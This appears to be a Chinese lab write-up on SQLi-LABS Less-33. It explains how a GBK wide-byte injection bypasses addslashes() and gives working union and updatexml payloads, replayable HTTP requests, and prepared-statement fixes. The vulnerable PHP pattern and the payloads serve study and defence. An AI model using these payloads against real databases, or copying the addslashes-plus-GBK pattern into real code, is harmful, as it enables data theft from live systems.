Less-33 审计报告:宽字节注入绕过 addslashes(GBK)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-33 Bypass addslashes() |
| 源码路径 | Less-33/index.php |
| 漏洞类型 | SQL 注入 – 宽字节注入(GBK + addslashes 被多字节"吃掉") |
| 注入点参数 | GET /Less-33/?id= |
| 报错/盲注 | 报错回显(print_r(mysql_error()),第 52 行) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x + GBK 字符集 |
2. 漏洞代码定位
文件: Less-33/index.php
// 第 17~21 行:使用 PHP 内置 addslashes
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
// 第 26 行:输入经过 addslashes
$id=check_addslashes($_GET['id']);
// 第 36 行:关键 —— 连接字符集设为 GBK
mysql_query("SET NAMES gbk");
// 第 37 行:单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 第 52 行:报错回显
print_r(mysql_error());
3. 漏洞分析
- 防御设计:
addslashes()把'转成\'、"转成\"、\转成\\、NUL 转成\0,看起来能阻止字符串闭合。 - 宽字节原理(核心):
addslashes是字节级转义,不感知多字节字符集;- 第 36 行
SET NAMES gbk使 MySQL 按 GBK 解析; %bf%27(0xBF 0x27)经addslashes转义'→0xBF 0x5C 0x27;GBK 将0xBF 0x5C解析为一个汉字,0x27成为独立单引号 → 闭合成功。
- 利用前提:连接字符集为 GBK,且客户端转义与服务器解析字符集脱节。
- 可被绕过的本质:单字节转义函数 vs 多字节解析,长度/边界不一致。
4. 利用方式
步骤一:确认宽字节注入
?id=1%bf%27→ 报 SQL 语法错误,证明%bf吃掉了反斜杠。
步骤二:联合注入(核心 payload)
-1%bf%27 union select 1,2,database()-- -
拼接后(字节层面):
SELECT * FROM users WHERE id='-1<犘>' union select 1,2,database()-- -' LIMIT 0,1
- 结果显示
Your Login name:2、Your Password:security。
步骤三:报错注入
-1%bf%27 and updatexml(1,concat(0x7e,database()),1)-- -
回显 XPATH syntax error: '~security'。
步骤四:提取其它数据
-1%bf%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
5. Yakit 重放数据包
GET /sqli-labs/Less-33/?id=-1%bf%27%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
报错注入报文:
GET /sqli-labs/Less-33/?id=-1%bf%27%20and%20updatexml(1,concat(0x7e,database()),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
%bf%27必须保持 URL 编码发送。
6. 修复建议
修复一:统一字符集 + 参数化(PDO)
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=gbk', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
修复二:mysqli 预处理
<?php
mysqli_set_charset($mysqli, 'gbk');
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
修复三:加固要点
- 用
mysqli_set_charset而非SET NAMES;统一客户端/服务器字符集; - 推荐直接使用
utf8mb4,根除宽字节; id参数ctype_digit()/is_numeric()强校验;- 关闭
mysql_error()回显;数据库最小权限;升级 PHP 7+ / 8+。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展、MySQL 使用 GBK。
正文完